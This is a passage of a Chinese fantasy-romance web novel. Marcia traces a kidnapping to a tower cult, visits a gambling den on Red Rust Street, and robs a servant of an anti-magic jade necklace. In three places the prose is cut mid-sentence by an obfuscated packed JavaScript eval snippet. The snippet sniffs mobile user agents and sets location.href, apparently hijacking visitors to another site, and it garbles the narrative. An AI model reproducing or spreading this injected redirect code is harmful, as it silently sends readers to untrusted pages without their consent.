她欺负人似的吻他，俯身咬他的嘴唇，像一个恶意的玩笑，她能感受到亚当在害怕，但是他不挣扎。 她推了他一把，这男人第二天就鼓起勇气，向她正式告白。 他技艺出众，人也勤劳。虽然是平民，但生活水准尚可，也许能越来越富。斯黛拉看上他，他凭什么不领情？ 于是，他颤抖着说：“小姐，对不起，我竟胆敢爱上了您……” 斯黛拉的思绪如海市蜃楼般投射到火魔法的光影中，即便她一个字也没有说，幻象仍展现出亚当生动的脸。如此真实。 亚当温柔害羞，但也乐观质朴，脸上带着某种坚定的希望，好像幸福也是某种植物，可以生根发芽，稳稳地从泥土里种出来似的。 斯黛拉不觉落泪。 为什么战争结束后好日子没有来。 为什么人类没有了敌人，反而要与亚当分开。 在被软弱的情感吞没之前，斯黛拉挣扎着坐起身，揉了下眼睛，不让泪水模糊视线，她告诉玛西亚：“我明白了，你做的幻象是我见过最真的……不愧是玛西亚。现在我开始回想那天的情形。” 玛西亚持续施法，营造静谧的氛围，隔着火光幽幽开口：“他们是谁？” 一个水魔法师。 水魔法师并非由井口掠走斯黛拉，而是晴天白日地，在街上拦下了她。 “罗斯瓦尔小姐，对么？希望您愿意耽搁几分钟。是这样的，我在郊外有座种植园。” 玛西亚认出了这张熟悉的脸，他是兰斯洛特伯爵，高塔会的人。 兰斯洛特伯爵邀请斯黛拉进了一家街边茶馆。座位紧邻透亮的玻璃落地窗，街上人来人往，环境过于安全，又在聊工作，是以她对眼前的狂热分子毫无防备。 喝下侍者端来的红茶后，斯黛拉失去意识，昏睡了过去。再睁开眼睛，她看到了一个陌生女人。 一个风魔法师。 这女人没有和斯黛拉说话，而是用风魔法给她下了禁言术，然后径自离去。 幻象到此为止。 玛西亚记住了那个女人的长相。 约四十岁左右，黑发黑瞳，颧骨处有黑色的纹饰，也许是彩绘，也许是刺青。 嘴唇被特殊的化妆品染成深紫色，但是玛西亚觉得，这更像是长期服用什么药物导致的。 瘦，手脚都过分细长，浅白皮肤下隐约透着青色的血管。 她阴沉鬼魅的气质让人觉得她会在晚上随机吃掉一个小孩子，然后用黑猫的皮毛或者蝙蝠的翅膀擦嘴。 不出意外，她也是高塔会的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15153671|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成员。他们需要土魔法师？想让斯黛拉加入他们？不，似乎没必要这么大费周章。这女人有些异族特征，也许是个贝索人，罗斯瓦尔侯爵要把亚当卖给贝索人做奴隶…… “我明天就走，开始调查。” “我该做点什么？”斯黛拉比谁都讨厌被动的感觉。 “保护好自己。什么都不要想，心安理得地接受朋友的帮助，交给我吧，让我照应你。”就像斯黛拉曾无数次为她仗义执言，雪中送炭。 “那你呢。卡尔他……” “去他的卡尔，”她突然骂了一句，又轻蔑地笑，“他很烦，但也仅限于此。” 即便是最蠢的熊也只会被香甜的蜂箱吸引，不会去嗅木抽屉。一晚上窥见了两场凡人的爱情，真正的爱情。她的胃口被喂得很刁，对比王夫罗伯特，还有亚当，卡尔廉价的情感作秀实在不值一提。 玛西亚用了一点力道，抚摸朋友的发缝，微微注入温暖的魔力：“白银家族拿我当傻子，我现在知道的事情远比他们多。赢的人也会是我。” 斯黛拉感到一阵安慰，这话不假，玛西亚别的事上可能迟钝一些，但她确实是赢惯了的。只要下定决心做某件事，她会做的比别人都好。 “我相信你，玛西亚。” “嗯，斯黛拉，晚安。” 她默默离开斯黛拉的房间，脚踩在高级地毯上，触感很软，无声无息。 回到卧房，看了一眼挂表，竟已经快四点钟了。 玛西亚脱了衣服，拆散头发，平躺到床上，努力闭上眼睛，放空心，争取多睡一会儿。未曾想到，酸胀的眼皮刚闭上，埃文就冒了出来。 这是频繁进入幻象的后遗症，要么失眠，要么多梦。做梦也比失眠好，她的意识很快模糊，一步一步走向梦里人。 埃文在讲解剧本：“玛西亚，这种情况要毫不犹豫地接吻！” “好，好的。”她踮起脚，微微撅起嘴唇，她等待羞耻感席卷全身，但是，害臊的感觉始终没有到来。 无数欲念在她心里蠕动，神秘的情意在胸口膨胀。她很享受，像饥饿的女人终于吃到了一场盛宴，大快朵颐。 吻落下，她吸吮埃文的嘴唇，发出贪婪又欢快的声音，像新生的小狗崽在舔盘子里的肉汤。 “接吻之后呢？路易吉公爵会对爱丽丝做什么？告诉我后边的剧情。”她追问。 埃文罕见地没有侃侃而谈，而是身体力行，直接演示，他轻轻捧住她的脸，温柔地一路吻下去，嘴唇、下巴、胸口、腹部……口水湿湿凉凉的。 “玛西亚，我教你。” “好啊，来吧。”她嘶声道，求知若渴，意乱情迷。 大腿虚弱地酸软，她发现自己的膝盖在发抖。 过了一会儿，埃文仰头对她笑笑，用手背擦了擦嘴角，金瞳闪烁了一下，“再之后……玛西亚，你还想知道么？” “我……” 晨光透过窗帘，玛西亚睡眼惺忪地醒来。天花板的纹路使她联想到埃文腹肌上一棱一棱的沟壑。身下的床则软得过分，陷在云里似的，感官无比清晰。 太糟糕了，是奇怪的梦。 更糟糕的是，玛西亚心慌意乱，一股销魂的酥麻爬满全身，她竟开始回味了。 33. 花蜜带来的线索 玛西亚因缺觉而头疼，胃里也不太舒服。她去到餐厅，打算吃几口热乎的东西，然后告辞离去。 安琪早早打扮好了，以一种常人无法拒绝的热情态度邀请玛西亚陪她共进早餐。 她拉着玛西亚，往二层宴会厅旁的小圆桌走。玛西亚感觉她的手又小又软，像个孩子。安琪个子不矮，却给人整体小一号的感觉，头小，眼睛大而亮，红铜色的睫毛忽闪忽闪的。 真的好年轻。 “公爵大人，您能赏脸参加酒宴，真让我喜出望外。可惜我没能让您满意，昨天除了柠檬挞，都没见您吃什么东西呢。现在一定很饿吧？”她歉疚地笑笑，又说，“您可以告诉我您的喜好。” 安琪笑得很甜，这是讨好的笑容。 “我没什么特别喜欢的东西，和一般人差不多。新鲜的蔬菜和水果，不腻不柴的肉，软一点的面包。不过，真饿的时候就不挑食了。” “我会跟厨师说的，午餐按您说的做。蘑菇酱牛排怎么样？配黄油焗南瓜。” “谢谢，安琪小姐。但是不必麻烦了，我不打算在这里再吃一顿饭。”她喝了一口热羊奶，解释道，“并非因为您的厨师不好，而是我归心似箭。埃文在家等我。我们在一起以来，从来没分开过这么久。” 埃文是她的挡箭牌，爱情是所有反常行为的借口。爱情真是太方便了，恋爱中的人做什么都很合理。 甚至还会梦见他。 回忆梦中情景，玛西亚蓦然脸红。 安琪笑笑：“感情真好啊，令人羡慕。” 她其实不信，莱昂殿下也会在酒后喊贝拉殿下的名字。可这不妨碍他撕开另一个女人的裙子，搂着别人睡觉。深情是个褒义词，可以为人格增色。玛西亚一定在炫耀，仅此而已。 迎着安琪的甜笑，玛西亚如芒在背。 有人天生是交际能手，在任何场合都很自如，很享受。可以兴高采烈地和所有人跳舞、干杯、谈天说地，欢声笑语。哪怕一转头就把这些人的名字和脸都忘了，也不妨碍此刻的融洽与欢愉。 有人则天生拙于此道，玛西亚说话的时候会忍不住去想对方是个怎样的人。不痛不痒的场面话也能说几句，但她更喜欢推心置腹。太认真就显得笨。 “煎蛋三明治味道不错。安琪小姐怎么不吃？” 安琪小姐却说：“有羊奶就够了，我不能吃这么多。” 玛西亚感到惊讶：“为什么？费雪伯爵夫人苛待您？” 安琪一愣。“不。是我不想吃。您贵为公爵，又是魔法师，肯定不理解普通女人的难处。” 玛西亚反应过来，说："并非如此，安琪小姐。事实上，在我通过高阶魔法师试炼之前，一直有人叫我‘平民丑丫头’。还有个讨厌的家伙总说我胖，让我少吃点。” “哦！真过分，他们如果知道后来的您可以烧死魔王，就不敢这么说了。” 玛西亚不以为然：“不一定。我想女人做什么都会被人说的。或者不特指女人，就说人吧！人往高处走，身边一定会有很多贬低的声音。” 安琪：“也对。真的不去争，不去抢，反而合了别人的意。” 玛西亚隐约觉得她们两人的对话不在同一频道。但安琪的话听起来也没什么不对？ 匆匆吃完三明治，她把最后一口羊奶趁热顺进胃里。 “反正比起别人怎么说，还是自己的意志更重要。”她有些刻意地总结陈词，“我非常喜欢埃文。说我昏了头也好，说我迷恋美色也罢，我得回去找他了。” “公爵大人，但是卡尔殿下他还……” “哦，您提醒我了。安琪小姐，请代我向殿下告辞。以及，您还是多吃一些吧。您能注意到我没吃饱，说明您也会饿啊！好好照顾自己。” 玛西亚离去，安琪挫败地坐在餐桌旁。叉子撞到了白瓷盘，发出一声脆响，她愣了愣，把眼前的煎蛋叉起来，送到嘴边，又停下。 莱昂王子喜欢她的脖子、手腕和腰，他常说这是她全身上下最美的几个地方，像花茎一样脆弱纤细。她不得不为此节食。 于是，安琪把餐具撂下，她心想，玛西亚·布莱斯真是个讨厌的女人。 马车摇摇晃晃，玛西亚趁机在路上闭了一会儿眼，打了个小盹儿。 推开公爵夫人的卧室门，埃文正怒不可遏地教训他的宠物。 “你可真行！西西！你吃什么不好！那根本不是老鼠该吃的东西！” 他大口大口地叹气，又是摇头，又是冷笑：“五十个金币！说吃就吃，居然还学会了打开玻璃罐。你这么聪明怎么不去学写字啊你！” 埃文好似想打开窗户，把西西扔出去，但脸上的表情分明是舍不得。 玛西亚见状“噗嗤”一笑。 “它吃了什么？什么五十个金币？” “花蜜！还好没都吃光，只吃下去表面一层。”他正在气头上，噼里啪啦说完，一转头，才看到玛西亚回来。埃文立刻笑容满面，惊喜地朝她走过来：“玛西亚，这么早就回来了。顺利么？” 埃文的笑容和梦中别无二致，甚至还要更迷人些，使玛西亚心中怪异地一痒。她甚至感觉身体朝着埃文的那一侧在发热，有些酥麻。她连忙瞥向别处，说：“顺利。我掌握了新情报。” “这么巧，我也掌握了新情报。” 说罢，他费力地把西西从玻璃罐子上扒下来，将眠罗花蜜展示给玛西亚：“我买到了这瓶花蜜。是贝索人。亚当在贝索人手中。” 玛西亚深吸一口气，看清楚之后，心头一喜：“埃文，我想，我们运气好极了。” 埃文：“可惜我没能打听到贝索人具体的所在。” 玛西亚指着眠罗花蜜说：“不用打听，埃文。我看到了这瓶花蜜上凝结了一些特殊的魔法，不是人类的魔法，而是魔物的。” 埃文没听懂：“看到？魔物的魔法？那是什么意思？” 她关好门，拉上窗帘。力鼠窸窸窣窣地爬过来，想再舔一口花蜜，被埃文抓住了脖子，提拎起来，“西西，别捣乱，去别处玩。” 玛西亚一边在花蜜瓶子上摆弄，一边跟埃文讲自己这一天一夜的遭遇。 “昨晚入夜后，卡尔约我见面。居然只穿着睡衣就来了。” 埃文低呼：“什么！这个时候他怎么不讲礼仪了？难道他身材很好？” 玛西亚盯着这个激动的黑发男人看了一会儿，说：“我觉得不怎么样。” “那他对你说什么了呢？” 玛西亚回答：“他说要和我结婚。罗列了政治联姻的各种好处。并且，他说他爱我。” “太狡猾了！”埃文喉结滚动，气闷地嘟囔，“又是穿得清凉，搔首弄姿，又是把你拉到没人的地方告白。这男人真有心机。” “然后我们触发了魔法幻象，被迫困在一层长廊里，欣赏他的祖先利刃女王与王夫的爱情故事。还好幻象里没有太过分的内容。” “所以是什么内容呢？” “嗯，感觉就像闯入了恩爱夫妻的卧室。”玛西亚笑道，“王夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15161067|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗伯特对利刃女王真是十分痴情，他问女王，今晚能不能让他陪她。” 埃文耳尖通红，极力掩饰情绪。不，不能激动，玛西亚才是经历了一切，需要安慰的人：“苦了你了，玛西亚。卡尔一定趁机说了很多让你作呕的情话。” “但我很快就被涌动的魔力卷进另一个空间。在那里，我见到了天国精灵，是真正的天国精灵。” 她讲述了自己如何和百眼巨怪艰难地沟通，讲述创世神的记忆，介绍魔法的真相是怎么一回事。 埃文呆呆愣愣地听着，北方人对待神话的态度更为敬重，虽然不到虔诚的地步，但对天国精灵以及创世神有着朴素的好感。 他问：“玛西亚，你岂不是成了神的继承者？你会是一位新的女神，对么。” 玛西亚笑着摇头，佩服他的想象力：“我当然是人，普通的人类。若非神力接引，我根本不知道怎么进入天国乐园。神离开了，得到解脱。我只是获得了创世神遗留的视觉能力。” “那就好。” 意识到这么说有歧义，可能会被误会成他见不得玛西亚好，他又说：“玛西亚当神明的话，我就做你的信徒！可我想，权柄意味着责任，神明的责任，凡人可能吃不消。” 玛西亚呼吸一滞，心想，埃文干嘛对她说这种话。神明，信徒……听起来好暧昧，又夸张。浪漫小说看多了就会习惯性地说浪漫的台词，是么？ “花蜜，让我们看看这花蜜。” 她不想继续思考，连忙伸出手，使细小的鳞粉随魔法显形，“花蜜罐子上粘了不少水晶蝶的麟粉。水晶蝶是精神系魔物，它的麟粉令人心情愉快。我以前经常做狩猎水晶蝶的任务。” “所以我们要去有水晶蝶出没的地方？” “没错。现在是冬天，只有一个地方会专门饲养水晶蝶。”玛西亚看着埃文说道，“赌场。” “赌场？”埃文思索片刻，问，“赌场老板想让客人玩儿得更尽兴，更上头，所以养这种蝴蝶，我理解得对么？” “嗯，对。”玛西亚继续道，“赌徒本就有瘾，不管不顾。现在一进赌场的门，就快乐得忘乎所以，不把最后一个子儿输掉他们是不会回家的。” “真可怕。” 怪不得一说主角身世悲惨，就要配一个沉迷赌博无药可救的亲人，那么多人绞尽脑汁，精心设局，把赌徒往深渊里拽，怎么可能戒得掉！可见不该心存侥幸，有些东西永远都不要沾。 “那我们什么时候去赌场一探究竟？”埃文问。 玛西亚想了想，说：“晚上吧。以及，红锈街人员混杂，我们得乔装一下。” 她想用魔法改变两人的容貌。却发现她高估了自己。神明只是让她能看见魔力，却并没有承诺她一定能心想事成。 若想发明一个她没见过，也不曾听闻的新魔法，且得调整几次呢。 “我试试这样，啊！糟糕，鼻子歪掉了，我这就给你还原！”玛西亚连忙道歉。 玛西亚用魔法做出来的新面容倒不是说丑，而是怪异。乔装改扮的目的是让人不要注意自己，可她弄出来的五官特征反而更醒目。 他对玛西亚说：“改个发色，还有瞳色，然后把皮肤弄差一点，可以的话再加点胡子。” 玛西亚照做。 “怎么，还是不成功么？哪里奇怪？”埃文问。 “不，这次挺好的。认不出来，也不太惹眼。” 她已经把漂亮的男人变丑了，为什么还是想要望着他。这才真是奇怪透了。 34. 精心设计的赌局 乔装改扮后，埃文变成了一个目光清澈、皮肤粗糙的壮汉。玛西亚易容成了一个小鼻子小眼的雀斑女孩。 “我扮演进城探亲，手里有点小钱的富裕农民路易吉，你扮演我亲戚家的可爱邻居爱丽丝。然后我们偷偷跑出来玩儿，怎么样？” 她摇摇头：“埃文，用不着剧本，没人会去红锈街约会，赌场旁边就是王都最大的妓院。不过，我们确实应该化名。” 埃文讷讷地反应了一会儿，轻声说：“抱歉。” 埃文一道歉，她也有点尴尬。“你没对不起谁，设赌场、开妓院的人都不惭愧，怎么你说了几句话，反倒要道歉？你只是不了解王都的情况罢了。” 从简单的环境踏入复杂的社会就是会不适应，玛西亚也有很多困惑与失落。她知道这样糟糕的营生一直都存在着，但人活着，总不会每天都特意去想这些事，除非，她真的能做点什么，为改善现状行动起来。 她喃喃地说：“等到了怀特兰……” “嗯。”埃文点头。 “什么呀，我都还没说完。” 埃文歪头一笑：“你想说你会尽力让情况变好一点。让不幸的人少一些。” 玛西亚愣了愣：“你好像很了解我。” “那么辛苦地去争取领地，只是为了作威作福，实在有点不像你。”他想了想，又说，“如果地位和权力就能吸引玛西亚，你当初也不会那么讨厌卡尔，对吧？” 意识到埃文确实懂自己，她有些不好意思地点了下头。 红锈街名副其实，主干道如一条生锈的铁管。 按照亚斯特的规定，特殊的娱乐行业要在门口点红色的灯以示区分，警醒人们不要轻易踏足。然而红色灯光反而形成了一道特色，给人更加难以抗拒的诱惑。 这儿人声喧闹，充满活力，寒雾和人们呼出的热气裹在一起，有种危险又虚幻的感觉。 而在这条东西向的长街上，还有无数小路向南北延伸，主干与支道交纵，仿若被啃干净后的鱼骨头。 每一条暗巷里都有几个鬼鬼祟祟的身影。有人在赌咒发誓，向债主求宽限。有人在挨打，发出猫叫一样的哭声。有人不顾寒冷，急不可耐地把手往女人的衣服里伸。 “爱丽丝，我不太喜欢这里，感觉随时会迷路。”埃文皱了皱眉头。 玛西亚挽住了埃文的手臂：“那么咱们别走散了，路易吉。” 两个浓妆艳抹的女人在街边交谈。 “我昨天遇见一个，他说我让他想起自己十八岁的女儿，折腾我半宿，才多给了五个子儿。狗东西！” “哈，真够逗的。他不觉得恶心吗？不过，给钱就行。再赚不到钱，简直活不过今年冬天了。” 两人一边抱怨糟糕透顶的生活，一边朝看她们的路人熟练地甜笑，抛媚眼。就好像一具身体里并行着两个截然不同的灵魂。 她们抱着单薄的衣服，不时用力跺跺脚。 “你不是会魔法么？钻石，能不能让咱们暖和点儿？” “老娘又不是该死的火魔法师！” 玛西亚猛回头，启用神明的视觉，看到了微弱的魔力在这个名叫钻石的女人体内涌动。是水魔法。 “看什么看！”对方狠狠瞪玛西亚，似乎很讨厌来自同性的打量，“陪你的客人去。” 在埃文开口维护她之前，玛西亚快速拉着他走远。 被当成妓女没什么屈辱的，红锈街就是这样的地方。使她难过的是连魔法觉醒者都在揽客，玛西亚的心脏在胸腔里沉重地跳动，一口气堵在胸口，不舒服到了极点。 她又想到了安东尼奥的那份报告。 穷人家的女儿没有犯错的机会，掉下去就爬不起来，哪怕她是魔法师。 无论她拥有什么天赋，什么价值，他们都只想使用她，同时不希望她凭借此出人头地，离开自己原本的位置。 “路易吉，”她怕自己忘了这个痛苦的时刻，唤了埃文一声，示意他低一下头，“我会在怀特兰建一所学校，帮我记着。” 埃文点头，轻声在她耳畔说：“好。” 赌场一层人员混杂，大多是些平民，也有小贵族，热热闹闹，钱币碰撞，筹码叠高，纸牌“刷啦啦”地响，人们的脸上呈现出癫狂的神色。 “水晶蝶在哪儿？”埃文悄悄问，“我没感觉很开心。” 玛西亚观察了一会儿，指向通往二层的阶梯：“楼上。鳞粉很浓。” 他们想要上去看看，被一座铁塔似的黑衣保镖拦下：“入场券。” 玛西亚直愣愣地问：“怎么能拿到二层的入场券？” 这人看都不看她一眼，只跟埃文说话：“一百银币一人。” 埃文把手伸进玛西亚的口袋里，摸了摸，抓出几枚金币。 “不用找零，兑换成筹码吧，谢谢。”埃文顶着潦草的脸，却从女人兜里掏钱。 这年头长成这样也能吃软饭了么？保镖困惑了一瞬。 爬上楼梯，埃文受到了水晶蝶的影响。 淡淡的喜悦在心间缠绕，他时不时歪头看玛西亚，虽然玛西亚现在是“爱丽丝”，完全没有原来的影子，他还是忍不住对她笑。玛西亚就在他身侧，所以幸福，所以快乐。 “你感觉怎么样？”她问。 “我没觉得有什么，单纯地心情不错。” 玛西亚说：“这才危险，你依然可以思考，所以自然而然会把快乐的心情和此刻在做的事情联系到一起。所谓的成瘾就是这么回事。” “也不全是魔法的作用吧？”他问。 “那确实。精神魔法不能无中生有，蝴蝶扇动翅膀，把你心里的小火苗吹燃起来。” 他悄悄指了指戴着耳环异族男人，“可咱们要找的这个贝索人，一直绷着脸，看上去不那么高兴。” 为了方便观察，他们坐到距离贝索人不远不近的位置。这桌在玩儿掷骰子的游戏，是最常见的双骰赌博。 第一轮如果抛出七或十一，算赢。如果抛出二、三或者十二，算输。如果抛出四、五、六、八、九、十，就要开第二轮。这时，得再次抛出同样的点数才算赢。 因为这个游戏有两轮，等待时每个人都屏息凝神，短短的时间内，怀着希望，心情大起大落，简单又刺激。 埃文投出了两个六，也就是十二点，第一轮直接输了。 玛西亚投出了二和三，目标点数是五，进入下一轮。 她随手一丢，骰子在桌面上骨碌碌乱滚，最后停了下来：一和四。 “赢了！干得漂亮！” 玛西亚听到全场欢呼，耳朵有点嗡嗡的疼。在这样的氛围里真的很难保持理性。好在她看见埃文对游戏并未很感兴趣，心里踏实了不少，至少他们俩能互相看顾。 埃文：“那个贝索人一直在输。我看他把金耳环都输掉了一只！” 旁边有人回：“这人最近天天来。根本不会玩儿。身上所有东西都拿出来赌，太好笑了。” 闻言，玛西亚与埃文默契地对视。他们觉得这个贝索人绝对在专门等待什么人。 目标会是谁？ 这时，从三层走下一个衣着考究的男子，他有着明显的南部国家特征，肤色因经常晒太阳而偏深，呈现出健康的小麦色，短卷发，浓眉，明亮的宽眼，领子下是细绳与宝石组成的别致领带。 他有点漫不经心，慵懒随意。身上的花花公子气质招人讨厌，但平心而论，他说得上英俊。 “今天还没赢过。”他笑了笑，“我在亚斯特交到了坏朋友，哪里去不好？非要带我来赌场。” “别这么说，阿尔格农，今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15173990|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您准能赢一把。只要找个逢赌必输的人，不就好了？” “很好的思路。” 不走运的贵公子被领到了贝索人面前。 “赌什么？”阿尔格农问。 “我只剩一只耳环。纯金的。”贝索人答得可怜。 “那我也赌等价的东西吧。十个金币，够么？” “足够了，先生。让我们开始。” 他们玩儿起了纸牌，玛西亚和埃文离了赌桌，去围观他们的牌局。 唔，贝索人又输了。 阿尔格农如愿赢了一把，露出百无聊赖的微笑，他本不好赌，出来玩儿而已。无论输赢，对他来说都不疼不痒，是以情绪稳定，气定神闲，准备起身离开。 贝索人却叫住阿尔格农：“请再赌一把吧。” 阿尔格农：“我还不至于想要赢走您御寒的衣裳。亚斯特很冷呢。” “我还可以赌别的。”贝索人诡异地笑了笑，“赌我自己。在贝索，人可以出卖自己做奴隶。” 阿尔格农摇头：“我没办法跟着您押注。先生。” “您可以赌别的。您这样的人肯定不会吝惜一件首饰的，不是么？我输掉了身上所有的饰品，这对贝索男人来说跟脱光了衣服在街上走一样耻辱。” 他做出一副赌红了眼的样子，声音绷紧，喉头发颤，几乎咬牙切齿，像毒蛇一样缠住阿尔格农，抓住今天最后一次翻盘的机会。 “我输了，我给您当奴隶。您输了，就让我任选一件您名下的珠宝。我们可以签订契约。” 周围的人开始起哄。 豪掷千金是一件很有男子气概的事，大方地接受挑战，就像接受决斗一样让人高看一眼。 阿尔格农的心被激起了一丝涟漪，也许他觉得真赢了对方，他大可以还他自由，不收这个奴隶，这样的事无伤大雅。而输了的话，任对方想拿走什么珠宝，他都负担得起。 “好吧。” 他们请了两个公证人，签了正式的契约，完成这一切后，再次开局。 然后，阿尔格农快速地输了。 贝索人站起来，向前倾身，双手扶着墨绿色的桌布，手指轻轻地在桌面上敲了敲，仿佛在演奏胜利的小曲儿。 “您想要什么，说说看。黄金、珍珠、各种颜色的宝石，都没问题。” 他突然用不容置疑的强硬语气开口：“我要您和图尔小姐订婚时交换的信物。那条白玉项链。” 图尔小姐？白玉项链？ 玛西亚倒吸一口气，在心中快速地把这些信息组合在一起，图尔小姐一定是指那天在茶会上见过的菲欧娜小姐，她的未婚夫来自纽斐，正好是个外国人！ 而白玉项链，王室在寻找，贝索人也在寻找，这么重要的白玉只能是抑魔石。 阿尔格农当然说不行。 “我不能接受。” “您必须接受，是您自己要赌的。” “我可以换其他任何珠宝，远超这条项链的价值。”阿尔格农没料到自己会陷入这样不体面的纠缠，他隐约意识到了什么，“您又怎么会知道我有这样一条项链？” “来自纽斐的首富之子，阿尔格农·摩奇，谁不知道您呢！您在环游世界，到处撒钱。我早就听说过您了。”贝索人蛊惑道，“您们纽斐人最重视信誉，不是么？女人总要为男人的尊严让步，图尔小姐是名门闺秀，她会理解您的。” 周围的人开始起哄：“别不是没结婚就开始惧内了吧！” “不是说他是首富么？南边的国家应该不穷吧。一条项链而已，未婚妻不高兴，再给她买新的就是了。” 游戏本身并不可怕，可怕的是人在非理性的环境中失去了判断。阿尔格农在赌场围观众人的注视中妥协了。 “好吧，我派仆人回去取。” 35. 为非作歹的鸳鸯 玛西亚和埃文截住了给阿尔格农送项链的仆人。 玛西亚启用神明的视觉，一眼就明白了抑魔石的原理，它并非使魔力消失，而是本身蕴含大量的魔力，如月亮吸引潮汐，让人体内的魔力暂时脱离自己的控制。 尽管很不光彩，玛西亚还是决定进行一场抢劫。 “路易吉！上！” 埃文立刻揪起仆人的衣领，将其拖入小巷。他的体格就足够吓人了，何况此时他胡子乱糟糟的，表情凶神恶煞。可惜埃文头一回做这种事，没什么经验，没能一击把对方打晕。 仆人被吓得双腿发软，但实在不敢弄丢这么重要的财产，他的主人还等着他解围，是以挣扎得厉害。 他试图呼救：“救……” 玛西亚冲过去狠狠给了仆人一拳。 “我知道你无辜。抱歉。”玛西亚甩了甩因用力过猛而生疼的手。快速摸出了白玉项链，塞到埃文的怀里。“你能把它安全带回家，对么？” 埃文目瞪口呆，他不知道玛西亚不用魔法时也这么能打。力量肯定不占优势，但她相当果断，动作很快。 他回过神后，立刻点头：“放心吧，我亲爱的！爱丽丝。哈哈。” 埃文躲避着人们的视线，离开红锈街。易容魔法会在一个小时后失效，他刚好可以隐藏行踪。 随着抑魔石远去，玛西亚感受到魔力重新恢复了秩序。 一个声音冷不防地从背后响起：“我全看见了。” 是那个名叫钻石的女人。 她单手叉腰，另一只手朝玛西亚伸过来，像在展示自己的大红指甲。语调懒洋洋，像在开玩笑：“你知道么？我挺爱聊天的，可能会到处说。” 妆浓到这个程度，玛西亚其实看不出钻石本来的模样，但她注意到对方有双好看的蓝眼睛。 玛西亚拉住钻石的手腕，拽着她，快速转去光照不到的地方。然后，她在口袋里摸索，掏出一袋钱，递到钻石的手上：“这些应该够你买身冬衣。” 钱袋的重量让钻石吃惊，玛西亚表露的善意更让她无法承受。 一个人习惯了辱骂、轻视、伤害、虚情假意，就像吃伤了胃，再有营养的东西她也吸收不了，消化不动了！她只想把这些温暖呕吐出去。 她瞪着玛西亚，冷笑了一声：“原来你不是劫匪，倒是个慈善家。” 玛西亚瞬间后悔。 她心想，自己可真傻，在红锈街，人们最讨厌的就是同情。你厌恶她们，她们还能靠一股动物性的坚韧，在弱肉强食的丛林里挺一挺，不择手段，狼狈地挣扎。你一同情她们，就像强迫她们去想起这世界上还有良心这么一档子事，多可笑啊。 她早知道人性没那么光明，繁华的王都有很多藏污纳垢的角落，想让每个人都幸福是不可能的。可她依旧会在这种时刻感到挫败、茫然。 一袋子钱，几句安慰的话，这种同情心确实很廉价。 然而，她想起了埃文曾说：哪怕我们生活在地狱，所有人都在脏水里游泳，也可以怀揣希望，不然故事怎么往下写？ 所以她停止了过度的思虑，继续按自己的本心行动，没为自己辩解什么。 “快走吧，我不说出去，就当没见过你。”钻石保证道。 玛西亚走了，离开前，她不忘给钻石身上加了一道魔力，让其身体变暖。她自信施法的动作幅度很小，不会被钻石发觉。 对着玛西亚离去的背影，钻石的蓝眼睛在黑暗中闪了闪，她紧抓住钱袋，隔着布，数了数。 “活见鬼！这么多！” 虽然是不义之财，但钱就是钱。也许是心理作用，她感觉暖和多了。 过了一会儿，仆人醒来后，顶着淤青的脸回到赌场，向主人悔愧交加地说明情况。 项链被抢？挺没面子。 但有钱人总是很从容，阿尔格农不以为意地说：“好吧。那条白玉项链的价值不会超过四十个沃伦索。我给您五十个，如何？” 贝索人当然不满，他根本不是为了钱，再多的钱也买不到抑魔石。 “你在愚弄我么？”他不肯善罢甘休。 阿尔格农不喜欢别人这么跟他说话，“您难道把我当成那种说谎做戏的人？要么就收下这五十个沃伦索。要么就自己捉拿抢劫犯，恕我不能奉陪了。” 话说到这份上，在场的人都以为贝索人会乖乖收下钱。谁料，贝索人脸色沉沉，朝那仆人问话：“抢劫你的人长什么样？” 仆人愣了愣，答：“一男一女。男的又高又壮，长着乱七八糟的络腮胡，眉毛浓，脸坑坑洼洼的。女的普普通通，没什么特别的印象。对了！她叫他路易吉！” 贝索人喃喃重复：“路易吉，路易吉……” 哪里冒出来的劫匪，坏了塔主大人的好事。 不知为何，阿尔格农经历了这样倒霉又荒谬的事，心中并未非常厌恶。异样的好心情持续着，在出了赌场大门后才烟消云散。 他后知后觉地意识到，自己弄丢了未婚妻家族送他的项链。 尽管他只见过菲欧娜·图尔的画像，那也是个他必须尊重的女人。弄丢她给他的礼物，并且还是信物…… 激情退却，阿尔格农开始觉得麻烦，本能地想要回避这复杂的思考，窝了一肚子火。 “先弄条差不多的仿品好了。还好只是白玉。” 雾气笼罩着街道，玛西亚默默尾随着贝索人。 他离开了红锈街，又穿过几个街区，去到富人区，终点是兰斯洛特伯爵的宅邸，带着恼怒又恐惧的表情回去交差。 